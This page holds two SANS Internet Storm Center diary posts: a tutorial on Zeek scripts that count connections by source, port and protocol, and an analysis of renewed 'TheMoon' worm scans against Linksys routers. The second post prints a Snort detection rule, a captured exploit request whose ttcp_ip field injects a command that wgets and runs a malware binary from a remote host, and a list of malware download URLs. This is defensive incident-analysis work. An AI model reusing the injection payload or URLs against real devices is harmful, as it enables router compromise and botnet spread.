Some packet-fu with Zeek (previously known as bro)

Published: 2019-11-11
Last Updated: 2019-11-14 19:42:33 UTC
by Manuel Humberto Santander Pelaez (Version: 1)
0 comment(s)

During an incident response process, one of the fundamental variables to consider is speed. If a net capture is being made where we can presumably find evidence that who and how is causing an incident, any second counts in order to anticipate the attacker in the cyber kill chain sequence.

We need to use a passive approach in the analysis of network traffic to be quick in obtaining results. Zeek is a powerful tool to use in these scenarios. It is a tool with network traffic processing capabilities for application level protocols (DCE-RPC, DHCP, DNP3, DNS, FTP, HTTP, IMAP, IRC, KRB, MODBUS, MQTT, MYSQL, NTLM, NTP, POP3, RADIUS, RDP, RFB, SIP, SMB, SMTP, SOCKS, SSH, SSL, SYSLOG, TUNNELS, XMPP), pattern search and a powerful scripting language to process what the incident responder might require.

Zeek scripts work through events. We can find a summary of all possible events that can be used at https://docs.zeek.org/en/stable/scripts/base/bif/event.bif.zeek.html. Next we will review those that will be covered by the examples of this diary:

  • new_connection: This event is raised everytime a new connection is detected.
  • zeek_done: This event is raised when the packet input is exhausted.
  • protocol_confirmation: This event is raised when zeek was able to confirm the protocol inside a specific connection.

We will cover three simple use cases in this diary:

  • Top talkers by source IP connection and new connections performed.
  • Top talkers by source IP and destination port, with new connections performed.
  • Number of connections confirmed by zeek for a specific IP address with a specific protocol.

Top talkers by source IP connection

The following script implements the use case:

global attempts: table[addr] of count &default=0; 
event new_connection (c: connection)
{
    local source = c$id$orig_h;
    local n = ++attempts[source];
}

event zeek_done ()
{
    local toplog=open("toptalkers.log");
    for (k in attempts)
        print toplog,fmt("%s %s",attempts[k],k);
    close(toplog);
}

 

Let's go through the script in detail:

  • We will store the result in the attempts table. We will store there IP addresses type addr and count the occurrences with type count.
  • Using the new_connection event, we traverse the capture counting source IP addresses that generate new connections.
  • Once the packet input is exhausted, using the zeek_done event we create the toptalkers.log file and write the information in the attempts table separated by blank spaces.

Let's see a snippet of the output:

We can get a sorted output:

Top talkers by source IP and destination port, with new connections performed

The following script implements the use case:

global attempts: table[addr,port] of count &default=0; 
event new_connection (c: connection)
{
    local source = c$id$orig_h;
    local the_port = c$id$resp_p;
    local n = ++attempts[source,the_port];
}

event zeek_done ()
{
    local toplog=open("toptalkers.log");
    for ([k,l] in attempts)
        print toplog,fmt("%s %s %s",attempts[k,l],k,l);
    close(toplog);
}

 

Let's review the differences from the previous one:

  • Table now includes ports. Therefore, a new type is included in declaration: port.
  • The source IP, the destination port and the counter for each repetition of this pair of data in the network capture are stored in the code within the new_connection event.
  • Information is written once packet processing is finished to file toptalkers.log.

Let's see a snippet of the script's output:

We can get a sorted output:

Number of connections confirmed by zeek for a specific IP address with a specific protocol

The following script implements the use case:

global attempts: table[addr,Analyzer::Tag] of count &default=0; 
event protocol_confirmation (c: connection, the_type: Analyzer::Tag, aid:count)
{
    local source = c$id$orig_h;
    local n = ++attempts[source,the_type];
}

event zeek_done ()
{
    local toplog=open("toptalkers.log");
    for ([k,l] in attempts)
        print toplog,fmt("%s,%s,%s",k,l,attempts[k,l]);
    close(toplog);
}

 

We can see the some new aspects:

  • The Analyzer::Tag attribute: When the protocol_confirmation event is raised, this attribute saves the protocol that was confirmed by zeek to be in the connection.
  • Information is stored in the table and then saved to a file within the zeek_done event.

Let's see a snippet of the script's output:

In my next diaries I will cover other interesting use cases with zeek using the frameworks that it has.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

Keywords:
0 comment(s)

Are We Going Back to TheMoon (and How is Liquor Involved)?

Published: 2019-11-11
Last Updated: 2019-11-11 19:24:50 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)

Earlier today, we received an email from an analyst for a large corporation. He asked:

After setting up a dashboard to monitor for worm related traffic, a series of Suricata alerts began to fly in relation to 'The Moon.' These devices may have been vulnerable around the time that this article was written, and it is entirely possible that this has gone unnoticed. The traffic definitely seems to fit the profile, although, too few observations of this malware have been published to really compare and confirm from simple network analysis.

We wrote about the "Moon" worm back in 2014, over five years ago. So is this worm still making the rounds? I do indeed see a lot of "TheMoon" alerts in my logs. The one that fires the most is snort ID 29831: "SERVER-WEBAPP Linksys E-series HNAP TheMoon remote code execution attempt."
"TheMoon" infected Linksys devices. It took advantage of a vulnerability in the tmUnblock.cgi CGI script. The signature is looking for requests to that specific URL:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP Linksys E-series HNAP TheMoon remote code execution attempt"; flow:established,to_server; content:"/tmUnblock.cgi"; fast_pattern:only; http_uri; content:"ttcp_ip"; http_client_body; pcre:"/ttcp_ip=.*?([\x60\x3b\x7c]|[\x3c\x3e\x24]\x28|%60|%3b|%7c|%26|%3c%28|%3e%28|%24%28)/Pim"; metadata:policy balanced-ips drop, policy max-detect-ips drop, policy security-ips drop, ruleset community, service http; reference:url,isc.sans.edu/diary/Linksys+Worm+%28%22TheMoon%22%29+Captured/17630; classtype:attempted-admin; sid:29831; rev:3;)

The reference to the rule links to a diary from five years ago with the related attack traffic. To compare, I have traffic I captured recently against a honeypot:

POST /tmUnblock.cgi HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Liquor 1.0
Content-Length: 312
Content-Type: application/x-www-form-urlencoded

ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+loli%3B+wget+http%3A%2F%2Fardp.hldns.ru%2Floligang.mpsl%3B+chmod+777+loligang.mpsl%3B+.%2Floligang.mpsl+loligang.mpsl.linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

The payload is pretty much still the same. It again exploits the "tmUnblock/ttcp_ip" issue. Unlike the earlier exploit, the newer payload does not use an Authorization header. As we learned back with the original TheMoon, the authorization header was kind of optional, or at least the credentials didn't have to match the actual credentials for the router. The exploit looks a bit more streamlined but other than that similar. 

The second stage turns out to be challenging to recover. I wasn't able to connect to any of the recent download URLs. Sometimes these sites will only allow connections from IPs they scanned previously. Or they may just no longer be up and running. Here are some URLs I have seen in the last couple of days:

http://147.135.124.113/bins/linksys.cloudbot
http://142.44.251.105/mipsel
http://159.89.182.124/ankit/jno.mpsl
http://185.172.110.220/mipsel
http://ardp.hldns.ru/loligang.mpsl;

The user agent (Liquor 1.0) is also somewhat unique for this version, and used in other exploits against routers as well (e.g., some GPON exploits). I have only seen these exploits against port 8080, the default Linksys port. 
So what should you do? Likely, it is safe to ignore these scans. Unless a router responds (a tool like Zeek should quickly tell you if it does), I would ignore them or even turn off the signature. As soon as you have a web server listening on port 8080, you will see these scans. Of course, it can't hurt to set up a rule looking for outbound traffic to make sure you are not the home to any infected devices. A regular vulnerability scan of your network should also quickly identify vulnerable systems.

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

Keywords: linksys themoon
0 comment(s)
ISC Stormcast For Monday, November 11th 2019 https://isc.sans.edu/podcastdetail.html?id=6746

Comments


Diary Archives